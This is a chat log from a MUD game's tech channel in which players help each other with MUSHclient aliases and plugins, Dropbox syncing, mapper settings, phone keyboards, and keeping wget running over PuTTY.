T3/r7/2013-03-21.txt.gz:{chan ch=tech}Aurelia Tech: Ohk, so I am going to try to update my current bast mush with the newest - is there anything I should keep in mind so I don't lose all of my aliases/settings/etc?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Aurelia Tech: Welp, hooray for dropbox I guess
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Aurelia Tech: Is there a way to hide a window similar to mapper hide, but with the group window?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Frostpaw Tech: I dont think so
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Aurelia Tech: boo, thanks
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Aurelia Tech: Ohkay, so I'm trying to update my client (I use bash mush). Ideally I don't want to lose my aliases and all that jazz. In addition to using Bash mush, I also have a few plugins that are reliant on bash's plugins but are not included with the whole client itself. How can I do this?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Aurelia Tech: The eqset plugin shows how to do a lot of things to a set, but how do I create a set name to start it?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Anyone ever had any experience with the Mush package just suddenly... losing everything? Woke up this morning and the client had closed, when I opened it up all of my aliases and triggers were gone, my aardwolf.db is empty, and absolutely nothing i had was retained.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Eep, that's scary.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have randomly had alias and triggers disappear
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Redryn Tech: nope
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Vonliege Tech: If the client closed, then certainly you would have lost all changes made since the last time it was saved... has it been running non-stop since you started playing?  =)
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: No, all of the aliases were saved :P
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Redryn Tech: thought you said they disappeared?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: They did, but they /were/ saved. I opened the client yesterday fresh and they were there, today they're not.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Now i question why I ever made the switch from tt++. tt++ may take a little more knowhow to work, but it's never lost hundreds of hours of work on me.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Redryn Tech: purely conjecture, but maybe come crazy autoupdate script fired and replaced your mushclient folder with a fresh install
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I would be so ungodly pissed if it had.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Redryn Tech: yea... i've been using mush for a couple of years now and haven't had something like that happen before though
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Redryn Tech: it seems really weird though, since all the aliases and stuff are saved in separate files, so corruption seems very unlikely
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: always a problem with databases -- this is why my speedwalker works over text files
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: you can always recover from text
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: flat files are so much slower than dbs though
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Jhav Tech: You can recover from database loss/crash too, if you just backup properly. :P
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: only at start up, the rest of mine goes into memory
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I back up critical data :P Not my game client :P
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Ontuct Tech: as long as you don't replace a good db with a corrupted version
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: yes, you can, if you do.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: the other problem with databases is they don't sync across machines -- if you get a change conflict, merging pretty much impossible
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Mush databases sync very well across machines if you use dropbox
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Use dropbox, Swalec
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Ontuct Tech: the band dropbox?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: really? Well try opening a client in two places by mistake
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Jhav Tech: Most version management systems understand binary files.  Well, modern ones anyways.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I had to hack in a db close on disconnect, but i think fiendish included that in the package now.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Jhav Tech: I.e., if you're using CVS you might be in trouble, but otherwise you're fine :P
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: yes, they do Jhav, they understand that binary files are unmergable
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: binary files are mergable if translatable
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: if, if, if, if
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Jhav Tech: Swalec, unless you are literally playing from two computers at once, there should never be a conflict in your database :P
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Jhav Tech: And since that's against the rules, I assume you are not :P
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Never once run across an if which yielded no in a nontrivial casew
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: case*
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: "should" -- example, I play on one machine, then I play on another
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Swalec: You can do that just fine now
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: but when playing on the first I forgot to start dropbox
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Redryn Tech: i play from 2 computers so i have 2x the apm!
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: before it was an issue because the database closed on client close instead of connection close, that's fixed now.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: now I open up first computer, start dropbox, change on both sides, conflict
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Jhav Tech: Then you may lose a trivial amount of your effort, and you'll remember next time.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Dropbox is perpetual in my experience - no need to start by default
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: maybe, regardless, it has broken as I said it does
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: And I've just told you 3 times, it won't do that anymore.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: the need is simple. My home space is true crypted. If dropbox starts by default, it starts *before* the Dropbox location exists. Hence, I have to start it manually.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: I have thought about this you know:-)
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: create an event based on the truecrypt completing which starts the service
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods at Captain HR Vakieh.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: well, I use unison instead and accept that occasionally I will loose data
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Swalec Tech: even that doesn't fix the problem because with Dropbox you have to wait until the files have synced before you can start. Otherwise, you get conflicts. 
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Vonliege Tech: for whatever reason, 'Aardwolf_Inventory_Serials' goes from 'disabled' to 'enabled' uncommanded... every dozen levels or so
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Vexthorne Tech: Is anyone familiar with mapper enough to know if there is a way to make it not go through certain rooms as part of a path to somewhere?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Thunderax Tech: put level locks on
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Chimeishio Tech: look for exit level locks
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Vonliege Tech: mapper lockexit 
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Vexthorne Tech: Ah ha, thank you :)
T3/r7/2013-03-21.txt.gz:{chan ch=tech}StArLiGhT Tech: Question what does this msg mean->unable to create TCP/IP socket for aardwolf ,code =10055(no buffer space available)
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Frostpaw Tech: no buffer space looks like a memory issue but I can't really be sure
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Frostpaw Tech: I'm not even familiar with that happening so yeah
T3/r7/2013-03-21.txt.gz:{chan ch=tech}StArLiGhT Tech: lol got mre than a 1tb left
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Tepeyollotl Tech: Is it possible to add triggers or aliases to an existing plugin i made with plugin wizard in MUSH? or do i have to do it thru edit on the plugin menu manually?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Ayasinda Tech: 1 tb is harddisk space not memory
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Vonliege Tech: would be a pretty expensive computer
T3/r7/2013-03-21.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Or not :P
T3/r7/2013-03-21.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Damn lag :P
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Frostpaw Tech: Tepey, I'm not sure there, just to give you an answer.. sorry
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Tepeyollotl Tech: np. if i have to i will just add them in manually. i just thought there might be an easy way to import them into it through menu screens or something.
T3/r7/2013-03-21.txt.gz:{chan ch=tech}StArLiGhT Tech: where do I check mem.?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hey all, anyine know where i can get drivers for msi ms-7142?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: onboard vga drivers
T3/r7/2013-03-21.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: anyone?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Frostpaw Tech: tried msi's site?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i did but searched myself dead :(
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Frostpaw Tech: driverguide.com or something.. check google?
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Greendude Tech: what is the best file format for a dictionary
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Greendude Tech: what client is that
T3/r7/2013-03-21.txt.gz:{chan ch=tech}Greendude Tech: oops i mean wrong chan
T3/r7/2013-03-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: can anyone direct me to a website explaining how to get data from GMCP ?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: anyone?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Ferun Tech: google.com
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Leinei Tech: the aard wiki, Remarto
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Leinei Tech: there's a section on GMCP, all the aardwolf modules, and how to get the data using various clients
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So... Donglegate, huh?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: mhmm, that was a fork they didn't expect
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Little bit worried, actually, because I make the dongle joke any time thumb drives come up :-P
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Up to and including singing Barry White when I insert one
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: heh
T3/r7/2013-03-22.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: who uses sharptracker script?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hmm guess nobody :(
T3/r7/2013-03-22.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oh, they have made graphene based headphone drivers:) its so so cool:)
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Zade Tech: "graphene" is a sick-sounding name (not a cool name) -- (initially) suspect something defective somewhere there
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i am really hoping the graphene supercapcitors actually pan out
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: would make a huge difference in electronics
T3/r7/2013-03-22.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: does highly compressed files work, like 10mb windows7.zip
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: SwiftKey is an amazing app.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I hated losing the bberry tactile keyboard when I switched to an android phone, but this thing is aboslutely amazing
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I actually prefer Swype for composing messages and such...it was really easy to get trained to my vocabulary and swiping style. (I've also got the old PalmPilot Graffiti input system installed as an option for myself as well--that works really nicely for mobile mudding/telnet/etc.)
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I ignore the swiping and just type and use their prediction and autotcorrect, which is very good.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Leinei Tech: A lot of people prefer swype in portrait, but not in landscape
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Leinei Tech: there are some apps that will let you do that, too
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: The swiping ends up being much faster, and you can still use the prediction and autocorrect. It takes me about 40% as long to enter a text message via swype now.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: feels like i have to retrain my brain to swipe, and that it's not faster than typing (I'm a fast typer)
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I typed pretty fast on my Blackberry as well, but it feels like my typing speed on a virtual keyboard is limited by how quickly it recognizes keypresses
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: moving to swype for my primary text input ended up making it much faster
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Leinei Tech: I type with 7-8 fingers on my ipad, but swype in portrait when possible on my android phone
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I don't have a tablet, so I can't say as far as that goes.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Leinei Tech: swyping in landscape tends to hurt my fingers after a while
T3/r7/2013-03-22.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: once you have build a good swype word bank you can be speedin
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Tech: Laughing Airmeith nods at LOL YOLO Gruagach.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: there are still a few words that swyping doesn't work for
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i like it much better though
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: though I still dislike having to spell out neurosu before I get the options for neurosurgeon/neurosurgical/neurosurgery
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: does that come up a lot?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i think i could type the last 6-7 characters with autocorrect faster than I could look uup, break my train of through to pick the word, and select it
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i type with my thumbs on android portrait, what fingers do you use to swipe?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: In my world, unfortunately, yes, Vorpes. My doc is referring me to one to look at further options since I've been through PT and my back is still rapidly deteriorating to the point where I'm having difficulty maintaining the house. He may only go with epidurals, but surgery is a possibility as well given that there are 4-6 days a week now where I can't stand for more than 5 minutes or walk more than 50 feet, and at least 1 day out of the week I'll be unable to walk at all due to nerves being pinched to having zero motor control in my legs. :/
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I just use an index finger
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well dang man that sucks!
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how long do you have to use it before you can fully compare it, do ya think?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: You're correct in that it is faster to just swype the whole word, Kojiro
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i just use one thumb to swype
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have actually found i like swiftkey better too. seems it has a better predictive type and swipe systems
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I promised myself I'd give it a week, Kojiro, but I haven't considered going back to texting since about the 4th day. Once you get most of the words you use most often put into the dictionary, it goes really fast.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod i find it much easier
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: just texting or composing email?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: either, both.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i use it for email also. work emails get messy though there is a lot of technical acronyms that aren't in the dictionary
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: once you put those acronyms into your dictionary, it gets much faster.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Laughing Airmeith Tech: like anything, it needs to be taught your vocabulary
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Mushambo Tech: Any ideas on why my computer's sound works fine in VLC, but nothing in any of the browswers? Using the latest version of Flash and browsers...
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Ylar Tech: Simple: The volume is turned all the way down or muted on whatever Flash-type player is in use.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Ylar Tech: or
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Did you turn down the volume in your mixer for chrome or whatever browser you're using?
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Ylar Tech: Well, worth checking anyway.  Also, if Windows Vista/7/8 check the mixer and make sure your browser isn't muted.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Mushambo Tech: XP...and I already went into the Internet Options where it says play sounds in browser AND checked some registry key I rfad about
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Mushambo Tech: It's in ALL my browsers: IE, Firefox, Chrome, Opera
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: http://forums.techguy.org/web-email/1001128-browsers-not-playing-sound.html
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Mushambo Tech: I'm a little unclear how I'm playing YouTube videos without Flash installed...
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Sneak Tech: HTML5.
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Mushambo Tech: Hmm, so that explains why uninstalling Flash hasn't resolved my sound problem in the browsers
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok so i have an opinion to ask of you guys. do you think i completed my programming assignment correctly? here it is http://pastebin.com/uG9h5pRj
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Mushambo Tech: At risk of embarassing myself....fixed the sound problem by switching where my speakers plug into the sound card
T3/r7/2013-03-22.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it is a little confusing for me as to what the teacher wants for the assignment but i think i did it correctly
T3/r7/2013-03-22.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know if on chrome its still possible to "lock" your most visited websites? you use to be able to pin them, but i think one of the updates got rid of that
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ninkano Tech: my mush isn't saving anymore recent aliases/macros? What I can do to fix it?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: have you gone to file menu to save world?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ninkano Tech: nod
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: does it give an error when you do that?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ninkano Tech: nops...winkle spellup script shows what skills are in noauto
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: what do those have to do with aliases/macros?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ninkano Tech: when I close the mud I lost aliases, when I disconnect and connect the aliases are saved
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ninkano Tech: idk
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: who made mapper portals?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: everyone who uses the mapper should have
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i ment the command
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: fiendish made pretty much everything in the aardwolf mushclient package
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i kinda have a problem with the lock
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: define a problem
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: make the lock the actual level, not your tier...the mapper knows what tier you are already
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: my amazon nation portal is lvl locked at lv 70, when i ranto vlad it used the portal
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: right, because you can use level 81 items as a t3
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: ahh thanks sir
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: who has knowledge of sharptracker script?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: just go ahead and ask the questions :-)
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: its giving me a runtime error each time i complete a quest
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: the reason that sharptracker is giving you an error on quest complete is that the tier bonus message changed a month or two ago
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: oh
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: in the sharptracker file, find the line match="*tells you 'I am also giving you * quest* point* tier*"
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: is there a way to configure winkle script so that i can touch on the mob during a gq?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: change that line to be match="*tells you 'I am also giving you a * quest* point* tier*"
T3/r7/2013-03-23.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: to?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: the difference was the change from "you * quest" to "you a * quest"
T3/r7/2013-03-23.txt.gz:{chan ch=tech}StArLiGhT Tech: where can I learn about scripts
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: read them
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: and go read the website and helpfiles for the client you use
T3/r7/2013-03-23.txt.gz:{chan ch=tech}StArLiGhT Tech: thanks
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So I have a putty session running with some wget stuff running in it, which is using the bar-style progress indicator.  As far as I knew before, the putty session works similarly to the output coming through from the mud to a client.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Though now that I think about it, man doesn't work like I would expect that to... but anyways - how does the putty session get and give info on how long to make the bar re: window size/# of chars?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: It probably uses a curses interface.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Which in turn uses ioctl system calls.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It looks like there is a dynamic bottom portion of the program, and then a static portion up top, which fills itself with the dropped-off portion of the dynamic
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hrm - Putty says it is xterm. I suppose that could be doing some behind the scenes automagic
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Yes :D
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: The whole terminals thing is kind of magical, and gory, and usually just works, except when it doesn't 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Another question now the channel is all active :-) Is there a way to siphon off an active run of wget into a screen? I was expecting this package of ebooks to take a couple of minutes, but it seems hours is more like it :-P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: No, not unless you started screen (or tmux) before
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Don't suppose starting screen in another session could help then...
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: But I think wget resumes, so you could just break it and restart.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Not sure tho.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: recursive?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I can resume a partial file, but this is lots of little files
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: oic
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: I bet there is an option for that.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Why do you need that shell session? Just start another putty instance.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have wget running in one putty, but on a machine I usually don't leave on - I assume if the putty connection drops, the wget instance will terminate?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: yes
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Ah you need to disconnect.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ok, so apparently wget remains running if you close the enclosing terminal session - is this only correct for local usage?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: really?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is what Mr Google is telling me, but it seems to be based on use on the local machine
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Turie Tech: Mr Abelinc likes to argue with Mr Google.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, it actually does continue... did not know that.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, so even though the wget process shows a tty identifier, if I close the connection it will still run?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: That's a clever piece of software, there.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: So it seems.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wish me luck :-P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: HA! tty changed to ?, download continues in background :-) Thanks for playing the sounding board/sanity check
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: I learned something new and useful too :D
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: One day... one day I am going to learn to use screen or something, and not have this keep happening :-P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Turie Tech: This one time at computer science school.....
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: It took me 25 years, but now I use tmux all the time.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Now, Vak, you should figure out how to code that behaviour :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ctrl-z?
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: My bash script knowledge extends to 'you can use a for loop' :-) But I have a couple of books now, and as soon as I get a little more comfortable with ls instead of dir/P, I'll get cracking!
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Well, wget is all C, I would guess.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, I've whipped up a couple of c/c++ on there with gcc/g++ and whatnot, but this shell scripting is intriguing
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Takes 10 minutes to learn, but a life time to master.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have decided VIM is never ever happening though :D
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: vim is awesome
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: I could never use another editor, but use whatever makes you productive, that's all that matters.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: I was the same way Vakieh until I saw a video on VIM as a Python IDE.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I find the limitation on what I can produce is not my typing speed, but my translating thoughts to code speed
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I believe I've seen the same video... I went and learned how to use the thing, but modes just turn my head... and I navigate with a mouse, not arrows or hjkl
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir acks!
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ixle Tech: Kill your mouse :P
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: How do you use a mouse to edit files on a remote server you have SSHd into? 
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you can copy/paste the
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Pull file to IDE, edit, FTP back
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Ranrr Tech: Which, BTW, is how I work all the time.
T3/r7/2013-03-23.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods at Ranrr.
